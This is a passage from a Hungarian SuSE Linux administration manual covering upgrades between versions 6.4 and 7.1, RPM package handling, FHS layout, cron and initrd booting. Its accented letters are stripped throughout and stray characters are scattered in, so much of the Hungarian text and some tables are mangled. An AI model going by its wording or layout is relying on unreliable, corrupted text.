t r. A squid a frissts kzben nem lesz automatikusan lecserlve a squid2 -vel; szksges, hogy kitrljk a cache-t s ellen rizzk a belltsi fjlokat. o A javasolt DHCP (Digital Host Conguration Protocoll) gyfl megtallhat a dhcpd csomagban; specilis esetekre, a dhclient csomag is benne van. Biztonsgi okokbl, az anonymous FTP nincs tbb automatikusan megengedve. Annak rdekben, hogy az anonymous FTP-t megengedjk az ftp dmonnal (in.ftpd), a megjegyzs jelet (#) a /etc/pam.d/ ftpd fjlban el kell tvoltanunk a sor elejr l: o
auth sufficient /lib/security/pam_ftp.so

A jelsz lecserlse a PAM-mal (Pluggable Authentication Modules). A pam_unix lecserlheti a NIS jelszkat s megrti az md5 zagyvalkot (hashes), mint jelszt. Vigyzat: a tovbbiakat lsd a 3.6.7 . fejezetben (114. oldal). Most egy j pam_pwcheck modul van, ami tveszi az j jelszk ellen orzst. A rgi bejegyzst:
password required /lib/security/pam_unix.so #strict=false

le kell cserlnnk (minden egyes esetben csak egy sort, vagy a sor vgn lv ket): o
password required password required /lib/security/pam_pwcheck.so \ nullok #use_cracklib /lib/security/pam_unix.so \ nullok use_first_pass use_authtok

Ez a kzi beavatkozs csak akkor szksges, ha az rpmnek nincs megengedve a kongurcis fjlok lecserlse, mert a rendszeradminisztrtor elvgezte a sajt vltoztatsait. Egybknt, az sszes PAM belltsi fjl a /etc/pam.d alatt tallhat. 428

15.2. Verzirl verzira A kziknyvoldalak (lsd a 15.2.7 . fejezetben (426. oldal)), s az info lapok mostantl a /usr/share alatt tallhatk. A makewhatis (makewhat csomag) most a manpath help programot hasznlja a kziknyvlapok megkeressre. A MANPATH krnyezeti vltozt nem kell tbb az rc fjlokban belltani. Az ncurses csomagok j verzija 5.0; a 4.2 verzi "megosztott knyvtrai (shared library)" tovbbra is benne vannak, gy az a szably, hogy a mr lefordtott programok ezentl is hasznlhatk. Az apache csomagot felosztottk. Ha szksgnk van specilis b o vtsekre, teleptennk kell a mod_* alcsomagokat. A PHP dokumentcija a phpdoc csomagban tallhat. Rendszerezsi okokbl a napl fjl a /var/log/httpd alatt tallhat. A Roxen az albbiak szerint lett felosztva: A roxen csomag titkosts nlkli, de van egy roxenssl , ami tmogatja a titkostst. Ennek az az el nye, hogy egy kln csomagot, a roxenint -et nem kell tbbet o kezelni. A changes csomag megsz nt. Ugyanez az informci megkaphat az u rpm segtsgvel is:
jancsi@meggyfa: > rpm -q --changelog <paket>

15.2.9

6.4-r l 7.0-ra o

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/de/html/bugs70.html Minden kernelmodul ("meghajt") benne van a teleptett kernelben (egyedli (single) kernel, multi-processzoros kernel, stb.); ez garantlja, hogy a hozzval lefordtott (compiled) modulok teleptsre kerltek. Az X Window System 4.0 nem tmogat tbb nhny nagyon rgi grakus krtyt s egy pr nagyon jat; lsd a 8.2 . fejezetben (238. oldal). A bellt program tudatban van ennek gy szksg esetn vltsunk t az el z 3.3.x verzira. o o A 3.3.x verzi fejleszt i krnyezett szintn teleptennk kell, ha csomao gokat akarunk kszteni a "Linux Development Platform Specication" szerint; lsd a 16.2.1 . fejezetben (438. oldal). Az ypserv program az ypserv csomagbl mr nincs tbb belncolva (linked) a "tcp-wrapper" knyvtrba, helyette a /var/yp/securenets-t hasznlja. A /etc/hosts.allow vagy a /etc/hosts.deny belltst egy frissts utn t kell tenni (transferred) a /var/yp/securenets al. A portmapper indtsa a /sbin/init.d/portmap-on keresztl, vagy az rcportmap paranccsal trtnhet; a /sbin/init.d/rpc mr elavult. sszhangban az FHS-sel (Filesystem Hierarchy Standard lsd a 16.1 . fejezetben (437. oldal)), minden architektrafgg dokumentcit a o /usr/share/doc alatt tallunk (azel tt a /usr/doc-ban voltak). o A bttv csomag megsz nt; a kernelmodulok integrlva vannak a telepu tett kernelbe. 429

15. Rendszerfrissts s csomagkezels A gtk-XmHTML knyvtr elrhet kln gxmhtml csomagknt; ez o elkltztt a gnlibs csomagbl. A gnadmin csomag megsz nt; a logview most a gnutils csomagban u van. A cron csomaggal kapcsolatban: sszhangban az FHS-el, a cron tblk a /var/spool/cron/tabs alatt vannak; lsd a 16.2.2 . fejezetben (438. oldal). A postgres csomaggal kapcsolatban: a PostgreSQL program, s az sszes alkoteleme tszervezsre kerlt az eredeti csomagok alapjn. A pg_datab csomag az inicializl adatbzissal tbb nem szksges; ha kell, az inicializlst a kezd (startup) szkript elvgzi. o 15.2.10 7.0-rl 7.1-re

Problmk s specilis cikkek az albbi cmen: http://sdb.suse.de/sdb/de/html/bugs71.html Kernel: A specilis EIDE lapkakszletek "alacsony szint " (low-level) u meghajti a szabvny rendszermagba kerltek; A k_eide vagy eide rendszermagok hasznlata mr nem szksges tbb, mint kln images. Ez azt jelenti, hogy nem kell ksztennk sajt indtlemezt, ha erre a meghajtra van szksgnk. A futsszint (runlevel) rtelmezse megvltozott; lsd a 17.1 . fejezetben (458. oldal) lthat tblzatot. Az init szkriptek mostantl a /etc/init.d alatt tallhatk; ha ksztettnk sajt szkripteket, akkor azokrl biztonsgi msolatot kell ksztennk miel tt frisstjk azokat. o DEFAULT_LANGUAGE: j neve van a korbbi LANGUAGE vltoznak a /etc/rc.config llomnyban. A /etc/resolv.conf-ot kzvetlen a YaST , valamit a YaST2 rja; tbb mr nem a SuSEcong kszti. A csomagnevek 8 karakteres korltozsa megsz nt s sok csomagnak leu het ezutn jobban rtelmezhet neve. Ezek az j nevek mr gyelembe o lesznek vve frisstskor, s az ismer s programok tovbbra is rendelkeo zsnkre fognak llni. Ha egy teljes jrateleptst vgznk, akkor vigyznunk kell, mert ezek a csomagok mr az j nevkn lesznek kivlasztva. A korbbi ypclient csomagra vonatkozan: a csomagokat kettosztottk ypbind s yp-tools csomagokra, s az indt szkriptjket ypbindnek hvjk; lsd mg a 5.4.2 . fejezetben (168. oldal). A jade_dsl csomagra vonatkozan: Az rzsz csomaggal val konfliktus elkerlsre az sx parancsot most s2x-nek s sgml2xml hvjk.

15.3 RPMa csomagkezel o


Az RPM , a "Red Hat Package Manager", a SuSE Linux 5.0 verziban lett bevezetve. Az RPM adatbzis rszletes informcit nyjt a teleptett szoftvercsomagokrl, megknnytve ezzel mindenki lett: a felhasznlkt, a rendszeradminisztrtorokt s a csomag kszt kt. o Az rpm program az albbiakat vgzi el: 430

15.3. RPMa csomagkezel o lefordtja a szoftver alkalmazsokat az gynevezett "pristine" forrsbl s teleptsre becsomagolja azokat. telept, frisst, s tisztzva eltvolt RPM formtum szoftvercsomagokat. tmogatja a csomagokkal kapcsolatos lekrdezseket, belertve a fgg o sgeket, s karbantartja a teleptett csomagok RPM adatbzist. Az RPM csomagok ksztsr l tovbbi informcit tallhatunk a Maximum o RPM, (Bailey, 1997, Red Hat) cm knyvben. Az RPM egyb kpessgeit u az albbiakban rviden lerjuk. A telepthet RPM archvumok egy specilis binris formtumba vannak csoo magolva. Ezek az archvumok tartalmazzk a teleptend program fjlokat, o valamint egyb meta-informcikat, amiket az rpm hasznl a telepts alatt, hogy belltsa a szoftver csomagot, vagy trolja az RPM adatbzisban dokumentcis clbl. Az RPM archvumok rendszerint .rpm kiterjeszts ek. u 15.3.1 Csomagok kezelse: telepts, frissts s eltvolts ltalban egy RPM archvum teleptse egyszer : u
meggyfa: # rpm -i <csomagnv>.rpm

E paranccsal, a csomag teleptsre kerl, de csak akkor, ha a fgg sgi elo vrsoknak megfelel s nincs koniktusa ms csomaggal. Egy hibazenettel az rpm felhvja a gyelmet azokra a csomagokra amelyek teleptse szksges, hogy kielgtse a fgg sgeket. A httrben az RPM adatbzis biztostja, o hogy ne keletkezzen koniktus egy adott fjl csak egy csomaghoz tartozhat. Klnbz opcik megadsval knyszerthetjk az rpm-et, hogy ne o vegye gyelembe ezeket az alaprtelmezseket, de ekkor biztosnak kell lennnk benne, hogy tudjuk mit csinlunk, klnben veszlyeztetjk a rendszer egysgt, s veszlyeztethetjk a rendszer frisstsi kpessgt. Hasznljuk a -U vagy a --upgrade opcit a csomag frisstshez. Ez az opci eltvoltja a fjl rgebbi verzijt, s azonnal telepti az j fjlokat. Az rpm a kongurcis fjlokat sokkal vatosabban frissti: Ha egy kongurcis fjl nem lett megvltoztatva a rendszeradminisztrtor ltal, akkor az rpm telepti a megfelel fjl j verzijt. Nem kell a o rendszeradminisztrtornak semmit sem tennie. Ha egy kongurcis fjlt a rendszeradminisztrtor a frissts el tt leo cserlt, az rpm el fogja menteni a lecserlt fjlt .rpmorig vagy .rpmsave (biztonsgi mentsi fjl) kiterjesztssel, majd telepti az j verzit az j csomagbl, de csak akkor, ha az eredetileg teleptett fjl s az jabb verzi klnbzik egymstl. Ilyen esetben ssze kell hasonltanunk a biztonsgi fjlt (.rpmorig vagy .rpmsave) az jonnan teleptett llomnnyal, s avltoztatsainkat az j fjlon ismt el kell vgeznnk. Ezutn meg kell gy z dnnk arrl, hogy az sszes .rpmorig o o vagy .rpmsave fjlt kitrltk, hogy elkerljk a problmkat a jv o beni frisstseknl1 .
1 Az rpm a .rpmorig-ot fogja vlasztani, ha a fjl ismeretlen volt az RPM adatbzisnak egsz mostanig klnben az .rpmsave-t. Ms szval, az .rpmorig fjl ltrehozsra kerl, mialatt egy ms formtumrl RPM-re trtnik frissts, s .rpmsave lesz, mialatt frisstnk RPM csomagot egy msik RPM csomaggal.

431

15. Rendszerfrissts s csomagkezels A -U kapcsol nem egyenrtk a (-e) s (-i) kapcsolk egyms utni u hasznlatval (eltvolts s telepts), hanem annl tbbet tud. Hasznljuk a -U-t ahol csak lehetsges. Frissts utn, ellen riznnk kell minden biztonsgi mentsi fjlt, amit az o rpm hozott ltre. Ezek a mi rgi belltsi llomnyaink. Ha szksges, tegyk t egyni belltsainkat a biztonsgi mentsi fjlokbl az j belltsi fjlokba. Ezutn az eljrs utn az .rpmorig s .rpmsave kiterjeszts fjlokat ki kell trlnnk. u Egy csomag eltvoltsra, adjuk ki az albbi parancsot:
meggyfa: # rpm -e <csomagnv>

Az rpm csak akkor fog eltvoltani csomagot, ha annak nincs megoldatlan fgg sge. Elmletileg lehetetlen eltvoltani egy rgi libc-t az rpm haszo nlatval, addig amg ms programnak szksge van arra, hogy megfelel en o m kdjn az RPM adatbzis vdi ez ellen. u 15.3.2 RPM lekrdezsek

A -q opcival, az rpm lekrdezst vgez, ezzel lehet v tve egy RPM o archvum megvizsglst (a -p opci hozzadsval), s hogy lekrje az RPM adatbzis teleptett csomagjait is. Tbb kapcsol ll rendelkezsre, hogy meghatrozzuk az elvrt informci tpust (lsd a 15.1 tblzatot).

-i -l -f <fjlnv>

-s -d -c --dump

--provides --requires, -R --scripts

Csomag informci Fjllista A <fjlnev>-et tartalmaz csomag keresse (a fjl teljes tvonalt a <fjlnv> segtsgvel kell meghatroznunk) Fjllista llapotinformcival (tartalmazza a -l-t) csak a dokumentcis fjlokat listzza ki (tartalmazza a -l-t) csak a belltsi fjlokat listzza ki (tartalmazza a -l-t) Fjlok listja teljes rszletezssel (ez azel tt a -l, -c vagy -d-vel o volt elrhet ) o Kpessgek, amit a csomag nyjt Kpessgek, amit a csomag elvr Eltvoltsi szkriptek (telepts/eltvolts el tt/utn) o

15.1 tblzat: A legfontosabb RPM lekrdezsi opcik (-q [-p] . . . <csomagnv>)

432

15.3. RPMa csomagkezel o Pldul az


meggyfa: # rpm -q -i rpm

parancs valami hasonlt fog megjelenteni, mint a kvetkez k : o


Name : rpm Relocations: (not relocateable) Version : 3.0.6 Vendor: SuSE GmbH, Germany Release : 42 Build Date: SZE 28 Feb 2001 21:07:55 Install date: V 15 PR 2001 09:19:07 CEST Build Host: hurwitz.suse.de Group : System Environment/Base Source RPM: rpm-3.0.6-42.src.rpm Size : 7724249 License: GPL Packager : feedback@suse.de Summary : RPM Package Manager Description : RPM Package Manager is the main tool for managing software packages of the SuSE Linux distribution. rpm can be used to install and remove software packages; with rpm its easy to update packages. rpm keep track of all these manipulations in a central database. This way it is possible to get an overview of all installed packages; rpm also supports database queries.

A -f opci csak akkor m kdik, ha megadjuk a teljes fjlnevet, a teljes u tvonallal. Megadhatunk annyi fjlnevet, amennyit csak akarunk: Pldul az :
rpm -q -f /bin/rpm /usr/bin/wget

parancs a kvetkez eredmnyhez vezet: o


rpm-3.0.3-3 wget-1.5.3-55

Ha a fjl nevnek csak egy rszt ismerjk, egy hasonl shell szkriptet kell hasznlnunk:
#! /bin/sh for i in rpm -q -a -l | grep $1 ; do echo youll find t$i in package: T rpm -q -f $i echo "" done

15.3.1 fjllista: shell szkript csomagok keresshez Az RPM adatbzis segtsgvel, ellen rzs is vgezhet . Ezek az ellen rzo o o sek a -V (vagy -y, vagy a --verify) opcikkal kezdemnyezhet k. Ezzel o az opcival, az rpm megmutatja az sszes olyan fjlt egy csomagban, ami meg lett vltoztatva az els telepts ta. Az rpm nyolckarakteres szimbo lumot hasznl, hogy tletet adjon, milyen vltoztats trtnt (lsd a 15.2 tblzatot):

5 S

MD5 ellen rz sszeg o o Fjlmret

15.2 tblzat: folytats a kvetkez oldalon...... o 433

15. Rendszerfrissts s csomagkezels

L T D U G M

Szimblikus lnc Vltoztats ideje Major s minor eszkzszmok Tulajdonos Csoport Md (engedlyezsek s fjltpus)

15.2 tblzat: RPM ellen rzsi opcik o

Belltsi fjlok esetn, a c bet lesz kirva. Pldul, ha megvltoztattuk a u /etc/wgetrc-t a wget csomagbl, ezt lthatjuk:
meggyfa: # rpm -V wget
S.5....T c /etc/wgetrc

Az RPM adatbzis a /var/lib/rpm alatt van. Ha a /usr partci mrete 500 MB, ez az adatbzis kzel 20 MB helyet is elfoglalhat. Ha az adatbzis sokkal nagyobb, mint elvrnnk, hasznos lehet, ha jraptjk az adatbzist a --rebuilddb opcival. Miel tt jraptnk, ksztsnk biztonsgi msoo latot a rgi adatbzisrl. A cron szkript (pontosabban a cron.daily), naponta kszt msolatot az adatbzisrl (gzip-pel tmrtve), s a /var/adm/backup/rpmdb alatt trolja azt. A msolatok szmt a <MAX_RPMDB_BACKUPS> vltoz hatrozza meg (alaprtelmezse 5) a /etc/rc.config-ban. Egy biztonsgi ments mrete megkzelt leg 2 MB (500 MB-os /usr partci esetn). o Ezt a helyignyt gyelembe kell vennnk, amikor meghatrozzuk, hogy mekkora legyen a root partcink. Ha a /var-nak sajt partcija van, nem kell aggdnunk emiatt. 15.3.3 Forrscsomagok teleptse s fordtsa

A SuSE Linux minden forrscsomagja a zq1 knyvtr alatt van s .spm kiterjesztssel rendelkezik ("Source RPMS"). Ezeket a csomagokat is ugyangy kezelhetjk, mint az sszes tbbi csomagot. Viszont ezek a csomagok nem lesznek benne az RPM adatbzisban (s nem lesznek megjellve [i]-vel a YaST -ban), mivel ott csak a "teleptett" szoftverek vannak listzva. Az rpm knyvtraknak a /usr/src/packages alatt lteznik kell (ha egyetlenegy sajt belltst sem csinltunk, pldul a /etc/rpmrc alatt). SOURCES az eredeti forrsokhoz (.tar.gz-fjlok, stb.), s a disztribcispecikus igaztsokhoz (.dif-fjlok). SPECS a "spec" fjlokhoz, hasonl egy meta Makele-hoz, amely ellen rzi o a "fordtsi" eljrst (process). 434

15.3. RPMa csomagkezel o BUILD Ebben a knyvtrban kerl a forrs kicsomagolsra, foltozsra (patched), s lefordtsra. RPMS Ez az a knyvtr, ahol a teljesen ksz "binris" csomagokat ltrejnnek. Ne ksrletezznk fontos rendszercsomagokkal, mint amilyen a libc, rpm, vagy nkit! Ez, a rendszer helytelen m kdshez vezethet! u Amikor egy forrscsomagot teleptnk a zq1 knyvtrbl a YaST -tal, az sszes szksges elem a /usr/src/packages al lesz teleptve: a forrsok s a kiigaztsok a SOURCES al, a .spec fjlok a SPECS al2 . A plda kedvrt, a wget.spm csomagot vlasztottuk. Miutn teleptettk a csomagot a YaST -tal az albbi fjlokat kell kapnunk:
/usr/src/packages/SPECS/wget.spec /usr/src/packages/SOURCES/wget-1.4.5.dif /usr/src/packages/SOURCES/wget-1.4.5.tar.gz

Az rpm -b <X> /usr/src/packages/SPECS/wget.spec parancs megkezdi a fordtst. Itt az <X> egy dzsker karakter a fordtsi (build) eljrs klnbz lpcs ihez (lsd az rpm -help kimenett, vagy az o o RPM dokumentcijt). me egy pr opci: -bp El kszti a forrst a /usr/src/packages/BUILD alatt: kicsomao gol s foltoz (patch). -bc ugyanaz, mint a -bp, de tovbbi fordtsokkal. -bi ugyanaz, mint a -bp, de a build szoftver tovbbi teleptseivel. vatosan: ha egy csomag nem tmogatja a BuildRoot kpessget, fellrhatjuk a belltsi fjlokat. -bb ugyanaz, mint a -bi, de a "binris" csomagok tovbbi ltrehozsval. Ha a fordts sikeres volt, a binrisnak a /usr/src/packages/RPMS alatt kell ltrejnnie. -ba ugyanaz, mint a -bb, de a "forrs RPM" tovbbi ltrehozsval. Ha a fordts sikeres volt, a binrisnak a /usr/src/packages/SRPMS alatt kell ltrejnnie. A -short-circuit megengedi neknk, hogy kihagyjunk bizonyos lpseket. Egy binris RPM az rpm -i meghvsval telepthet , vagy mg jobb, az o rpm -U (azrt, hogy megjelenjen az RPM adatbzisban). 15.3.4 Egyb eszkzk az RPM archvumokkal val munkhoz

A Midnight Commander (mc) kpes "bngszni" az RPM archvumokat s m kdni azok rszein. Ez az eszkz gy m kdik az RPM csomag archvuu u mon, mintha az egy rendes fjlrendszer lenne. Az mc-t hasznlva, megnz hetjk pl. a HEADER informcit az s kimsolhatjuk az archvum F3 -mal rszeit az F5 -tel.
2 A "making packages"-hez lsd az Irodalomjegyzket [Bai97]. Tovbbi informcit kaphatunk a kziknyvoldalakbl man rpm.

435

15. Rendszerfrissts s csomagkezels Nem rt tudnunk, hogy amikor egy RPM csomagba az Enter billenty u megnyomsval belenznk, akkor az mc kicsomagolja az archvum tartalmt a /tmp knyvtr al. Kis archvumok esetn ez nem klsebb problma, de nagyok esetn gyeljnk erre! Az xrpm egy j grakus RPM kezel , Pythonban van rva, ami tmogatja az o FTP elrhet sg archvumok parancsait. o u KDE al ltezik a krpm eszkz, ami egy grakus interfsz (X Window rendszer al), az RPM kezel hz. A krpm jelenleg a fejleszts korai szakaszban o van. Az Alien (alien) perl szkript hasznlatval lehet sg van talaktani, vagy o telepteni egy "idegen (alien)" binris csomagot. Ez megprblja talaktani a "rgi" TGZ archvumokat RPM-re miel tt teleptennk. gy az RPM adatbo zis kvetni tudja az ilyen csomagokat, miutn teleptsre kerltek. Vigyzat: az alien szerz i szerint mg mindig "alpha" szoftver. o Vgl, de nem utljra ott a YaST . . .

436

16. fejezet

A SuSE Linux specilis jellemz i o


Fordtotta: Vradi Istvn

16.1

A Filesystem Hierarchy Standard (FHS) s a Linux Standard Base (LSB)

A SuSE Linux arra trekszik, hogy amennyire csak lehetsges alkalmazkodjon a szabvnyos fjlrendszerhez (lesystem-standard (FSSTD)) s annak utdjhoz, a Filesystem Hierarchy Standard (FHS-hez, fhs csomag doc csomag; lsd mg a http://www.pathname.com/fhs/ cmet). Emiatt nha fjlokat vagy knyvtrakat kell a fjlrendszerben a szabvnynak "megfelel ", mdosult helyre tkltztetni. o A SuSE tmogatja a Linux Standard Base projektet; napraksz informci err l a http://www.linuxbase.org/ cmen tallhat. o 16.1.1 FTP-re Egy FTP kiszolgl fellltsnak megknnytsre, az ftpdir csomag tartalmaz egy pldakrnyezetet. Ez a /usr/local/ftp al telepl. HTTP-re Az Apache "a szabvnyos" web kiszolgl a SuSE Linux-ban; az Apache teleptsse utn nhny plda dokumentum lesz a /usr/local/httpd alatt. Ha fel akarunk lltani sajt web kiszolglt, akkor a /etc/httpd/httpd.conf alatt meg kell adnunk egy sajt DocumentRoot-ot. 16.1.2 teTeX TEX a SuSE Linux-ban A teTeX a TEX Directory Structure (TDS) szerint van sszelltva (lsd ftp://ftp.dante.de/tex-archive/tds/), az FHS veszlyeztetse nlkl. 437 Pldakrnyezetek FTP-re s HTTP-re

16. A SuSE Linux specilis jellemz i o

16.2
16.2.1

tletek specilis szoftvercsomagokhoz


Az xdevel s az xdevel33 csomagok

A "Linux Development Platform Specication" hatrozza meg, hogy az XFree86 3.3.6-ot hasznljuk ptsi clbl, gy a krdses szoftver annyi platformon fut, amennyin csak lehetsges. Mindennek ellenre a SuSE Linux 7.0-tl, mr az XFree86 4.0 az alaprtelmezett, de a SuSE Linux folytatlagosan megfelelhet az el rs feltteleinek. Az xdevel33 jelenleg is o elrhet . o Ha egy csomagot akarunk kszteni a SuSE Linux 7.0-val a "Linux Development Platform Specication" szerint, akkor el kell tvoltanunk (de-install) az xdevel-t s helyette az xdevel33-at kell teleptennk. 16.2.2 A cron csomag

A cron tblk a /var/cron/tabs alatt vannak (mr nem ott, ahol el o z leg, a /var/lib/cron alatt). Az /etc/crontab egy, a rendszerre o kiterjed id ztsi tblzatknt (cron table) szolgl. o o A fjlban, kzvetlen az id pont utn kell megadnunk annak a felhasznlo nak a nevt, akinek a parancsot kell futtatnia (lsd a 16.2.1 fjllistt, ahol a root van megadva); csomagfgg tblk tallhatk a /etc/cron.d o alatt is, ugyanolyan formtummal lsd man 8 cron.
1-59/5 **** root test -x /usr/sbin/atrun && /usr/sbin/atrun

16.2.1 fjllista: plda egy /etc/crontab bejegyzsre A /etc/crontab-ot nem lehet feldolgozni a crontab -e-vel, hanem kzvetlenl egy szerkeszt be kell betlteni, mdostani s elmenteni. o Tbb csomag telept shell-szkripteket az albbi knyvtrakba: /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly s /etc/cron.monthly. Ezek utastsait az /usr/lib/cron/run-crons vezrli. A /usr/ lib/cron/run-crons minden 15. percben fut le, a f tblbl (/etc/ o contrab); ez garantlja, hogy azok az eljrsok, amiket esetleg kihagyott volna, .... jra lefutnak id ben ..... o Nem szabad meglep dnnk, ha rviddel a gp indtsa utn a nobody o felhasznl megjelenik a processz tblban, s igen aktv lesz; ez valszn u leg azt jelenti, hogy a nobody frissti a locate adatbzist (lsd a 17.6 . fejezetben (472. oldal)). 16.2.3 A curses csomag

A CD-n megtallhat az ncurses csomag. A kapcsold knyvtrak neve libncurses.so.<xx>. Ez azt jelenti, hogy nhny Makeles-t igaztani kell, hogy lncoldjon az ncurses-hoz. A sajt csomagjainkat a 438

16.3. Indts az "initial ramdisk"-kel -lncurses paranccsal kell belncolnunk, s nem a -lcurses-sel. Akik tovbbra is a curses-t akarjk hasznlni, prbljk meg gy:
-I/usr/include/termcap -I/usr/include/curses -L/usr/lib/termcap -L/usr/lib/curses

16.2.4

Kziknyvlapok

Egyes GNU alkalmazsokhoz (pl. tar) a kziknyvlapok mr nincsenek karbantartva. Ezeket az info fjlok helyettestik. Az Info (info) a GNU hypertext rendszere. Begpelve info info egy kezd helpet ad az info o hasznlatrl. Az info elindthat az emacs -f info-n t, vagy a sajtjn: info. A tkinfo s xinfo programokat knny hasznlni, vagy gy u is elrhetjk a help rendszert, lsd a 16.5 . fejezetben (448. oldal).

16.3

Indts az "initial ramdisk"-kel

A problma lersa Miutn a Linux kernel betlt dtt s a root fjlrendszer (/) be lett csatolva, o programok futhatnak s tovbbi kernel modulok integrldhatnak be, hogy a m kdst biztostsk. u Mr eleve ahhoz, hogy a root fjlrendszert kpesek legynk betlteni, bizonyos feltteleknek teljeslnik kell. A kernelnek szksge van a megfelel o meghajtkra, hogy kpes legyen elrni az eszkzt, amin a root fjlrendszer tallhat (klnsen a SCSI meghajtkat). A kernelnek szintn tartalmaznia kell a kdot, ami szksges ahhoz, hogy kpes legyen olvasni a fjlrendszert (ext2, reiserfs, romfs stb.). Az is elkpzelhet , hogy a root fjlrendo szer titkostva van; ebben az esetben egy jelsz kell a fjlrendszer becsatolshoz. Ha csak a SCSI meghajtk problmit nzzk, akkor tbb klnbz mego olds ltezik: a kernel tartalmazhat minden elkpzelhet meghajtt. Ez is o egy problma lehet, mivel a klnbz meghajtk koniktusba kerlhetnek o egymssal, s t emiatt a kernel is igen mret lesz. Msik lehet sg, hogy o u o klnbz kerneleket biztostunk, mindegyik csak egy, vagy egy pr SCSI o meghajtt tartalmaz. Ez a megolds azrt nem j, mert sok klnbz kernel o szksges hozz. Ez egy olyan problma, ami felduzzadt a klnbz kppen o optimalizlt kernelek miatt (Pentium optimalizci, SMP, stb.). Az az tlet, hogy a SCSI meghajtt modulknt tltsk be, egy ltalnos krdshez vezet, amit az initial ramdisk elve vlaszol meg: ltrehozni egy mdot a felhasznlterleti-programok vgrehajthatsgra, mg miel tt a root fjlo rendszer be lenne csatolva. 16.3.1 Az Initial Ramdisk fogalma

Az initial ramdisk (gy is hvjk "initdisk" vagy "initrd") pontosan a fent lert problmkat oldja meg. A Linux kernel lehet sget nyjt, hogy egy o kis fjlrendszert betltsnk a RAM diszkbe, s rla futtassunk programokat miel tt a tnyleges root fjlrendszer be lenne csatolva. Az initrd-t az o indt betlt (boot loader, LILO , loadlin, stb.) tveszi, ezeknek csak a o 439

16. A SuSE Linux specilis jellemz i o BIOS szolgltatsaira van szksgk a boot mdium olvassra. Ha az indt betlt kpes betlteni a kernelt, akkor kpes betlteni az initial ramdiszket o is. Specilis meghajtk ezrt nem szksgesek. 16.3.2 Az indtsi eljrs rendje az initrd-vel

Az indt betlt (bootloader) betlti a kernelt s az initrd-t a memriba, o majd elindtja a kernelt. Egyttal az indt betlt tudatja a kernellel, hogy az o initrd ltezik s merre tallhat a memriban. Ha az initrd s rtve van (ez a tipikus helyzet), akkor a kernel kitmrti az u initrd-t s becsatolja, mint egy ideigleines root fjlrendszert. Egy linuxrc nev program elindul az initrd-b l. Ez a program most mr megteheti u o az sszes szksges lpst, hogy kpes legyen becsatolni a megfelel root o fjlrendszert. Miutn a linuxrc futst befejezte, az (ideiglenes) initrd lecsatoldik s az indtsi eljrs folyatdik, mint rendesen, a megfelel root o fjlrendszer becsatolsval. Az initrd becsatolsa, s a linuxrc futsa, gy egy rvid kzjtknak tekinthet a norml indtsi eljrs kzben. o Ha az initrd-t nem lehet lecsatolni (ami hibnak tekinthet ), akkor a kernel o megprblja jra becsatolni az initrd-t a /initrd knyvtrba. Ha a becsatolsi pont (/initrd) nem ltezik, hibazenet fog megjelenni. Ebben az esetben a rendszer teljesen m kd kpes, de a memria amit az initrd u o foglal le, nem szabadthat fel, s ez gy nem rhet el tbb. o A linuxrc Csak az albbiak szksgesek a linuxrc program szmra az initrd-ben: egy linuxrc nev futtathat fjl, aminek az initrd root knyvtrban u kell lennie. A linuxrc be lehet lncolva dinamikusan; ebben az esetben, a "megosztott knyvtraknak (shared libraries)" a /lib alatt teljesen elrhet o eknek kell lennie az initrd-ben. A linuxrc lehet egy shell szkript is. Ahhoz, hogy ez m kdjn, egy shell-nek lteznie kell a /bin alatt. Rviden, u az initrd-nek egy minimlis Linux rendszert kell tartalmaznia, ami lehet v teszi a linuxrc program vgrehajtst. Amikor a SuSE Linux teleptve o van, egy statikusan belncolt linuxrc van hasznlatban, hogy kpes legyen az initrd-t olyan kicsire megtartani amennyire csak lehetsges (az indt lemezen a hely igen korltozott). A linuxrc csak root jogosultsgokkal hajthat vgre. A valdi root fjlrendszer Miutn a linuxrc futsa megsz nik, az initrd lecsatoldik s trl dik, az u o indtsi eljrs megy tovbb normlisan s a kernel becsatolja az igazi fjlrendszert. A linuxrc befolysolhatja, hogy mi legyen becsatolva mint root fjlrendszer. Ezutn csak be kell csatolni a /proc fjlrendszert s felrni az igazi root fjlrendszer rtkeit numerikus formban a /proc/sys/kernel/real-root-dev al.

440

16.3. Indts az "initial ramdisk"-kel 16.3.3 Az indtbetlt k (Boot loaders) o

A legtbb indtbetlt (mindenekfelett a LILO , a loadlin s a syslinux) tudja o kezelni az initrd-t. Az egyedi indtbetlt knek utasts van adva, hogyan o hasznljk az initrd-t az albbi szerint: 1. LILO Adjuk meg az albbi sort a /etc/lilo.conf-ban:

initrd=/boot/initdisk.gz

A /boot/initdisk.gz fjl az initial ramdisk. Ez lehet (de nem szksgszer ), hogy s rtve van. u u 2. loadlin.exe a kvetkez mdon indthat: o
C:> loadlin <kernelimage> initrd=C:\loadlin\initdisk.gz <parameter>

3. syslinux Adjuk meg a kvetkez sort a syslinux.cfg-ban: o

append initrd=initdisk.gz <paramterek>

16.3.4

Az initrd hasznlata a SuSE Linux-ban

A rendszer teleptse Az initrd-t mr hasznljk egy ideje teleptsre: itt a felhasznl betlthet modulokat a linuxrc al, s megadhat teleptshez szksges adatokat (mindenekfelett, a forrs mdium szmra). A Linuxrc ekkor elindtja a YaST -ot, ami elvgzi a teleptst. Amikor a YaST befejezte, megmondja a linuxrc-nek, hogy hol van a frissen teleptett rendszer root fjlrendszere. A linuxrc felrja ezt az rtket a /proc al, megsz nik, s a kernel folytatja az indtst az u jonnan teleptett rendszerben (booting). Egy SuSE Linux teleptse kzben, mr a kezdetek kezdetn elindtani egy rendszert, amit mg csak most teleptettnk valahogy nagyon gyes dolog. Egy igazi jraindts (re-boot) a telepts utn csak akkor kell, ha a kernel nem illik ssze a modulokkal, amik a rendszerben teleptve vannak. Mivel a SuSE Linux csak egyprocesszoros rendszerhez val kernelt hasznl, ez csak akkor fordul el ha egy SMP kernel lett teleptve a rendszerbe a hozzill o o modulokkal. Emiatt, egy SMP kernelt jonnan teleptve a rendszerbe, jra kell azt indtani (re-booted), hogy tudja hasznlni az sszes modult. 441

